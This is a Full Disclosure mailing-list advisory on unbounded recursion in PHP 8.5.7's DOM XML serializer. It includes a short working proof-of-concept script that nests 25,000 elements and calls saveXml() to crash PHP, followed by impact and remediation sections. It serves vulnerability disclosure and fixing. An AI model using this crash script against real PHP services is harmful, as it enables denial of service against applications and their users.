From: Khashayar Fereidani <info () fereidani com>
Date: Fri, 19 Jun 2026 09:54:43 +0330
# PHP 8.5.7 `dom_xml_serialization_algorithm()` stack-overflow
**Author:** Khashayar Fereidani
**Disclosure Date:** 2026-06-18
**Advisory:** https://fereidani.com/php-857-domxmlserializationalgorithm-stack-overflow
**Contact:** https://fereidani.com/contact
## Description
The `dom_xml_serialization_algorithm()` and
`dom_xml_serialize_element_node()` functions in
`ext/dom/xml_serializer.c` rely on unbounded recursion to serialize
XML nodes. When serializing a deeply nested XML tree, the continuous
recursive calls exhaust the thread's stack space, causing a
segmentation fault (SIGSEGV). This issue can be triggered via
`Dom\XMLDocument::saveXml()` or by accessing the `$innerHTML` /
`$outerHTML` properties of `Dom\XMLDocument` elements. Note that
`Dom\HTMLDocument` uses an iterative approach and is unaffected.
## Proof of concept
```php
<?php
// A stack overflow occurs due to unbounded recursion in
// dom_xml_serialization_algorithm() and dom_xml_serialize_element_node()
// within ext/dom/xml_serializer.c (introduced in PHP 8.4/8.5).
// The file's own TODO at line 41 notes:
// "TODO: implement iterative approach instead of recursive?".
//
// Under the default 8MB thread stack, serializing a deeply nested XML
// tree crashes PHP with a SIGSEGV (139). Running with `ulimit -s unlimited`
// prevents the crash, proving it is stack exhaustion rather than a logic bug.
//
// The vulnerability is reachable via Dom\XMLDocument::saveXml()
// and the $innerHTML / $outerHTML properties of Dom\XMLDocument elements.
// Note that Dom\HTMLDocument is unaffected, as its HTML5 serializer
// (dom_html5_serialize_node) is iterative.
$document = Dom\XMLDocument::createEmpty();
$root = $document->createElement('root');
$document->appendChild($root);
$current = $root;
// This loop creates a deeply nested tree.
// It crashes under the default stack limit but succeeds with `ulimit
-s unlimited`.
for ($i = 0; $i < 25000; $i++) {
$element = $document->createElement('e');
$current->appendChild($element);
$current = $element;
}
// This line is never reached under the default stack limit.
var_dump(strlen(@$document->saveXml()));
```
Running the script results in:
```bash
Segmentation fault (core dumped) php poc.php
```
## Impact
An attacker could cause a Denial of Service (DoS) by providing a
maliciously crafted, deeply nested XML document. If the application
processes and attempts to serialize this untrusted structure, the PHP
process will abruptly crash due to stack exhaustion.
## Solution
Refactor the serialization algorithm in `ext/dom/xml_serializer.c` to
use an iterative approach rather than unbounded recursion. A `TODO`
comment already exists in the file at line 41 ("TODO: implement
iterative approach instead of recursive?"). Alternatively, enforcing a
hard limit on DOM nesting depth during creation and parsing could
mitigate the exploitability.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Current thread:
- PHP 8.5.7 `dom_xml_serialization_algorithm()` stack-overflow Khashayar Fereidani (Jun 20)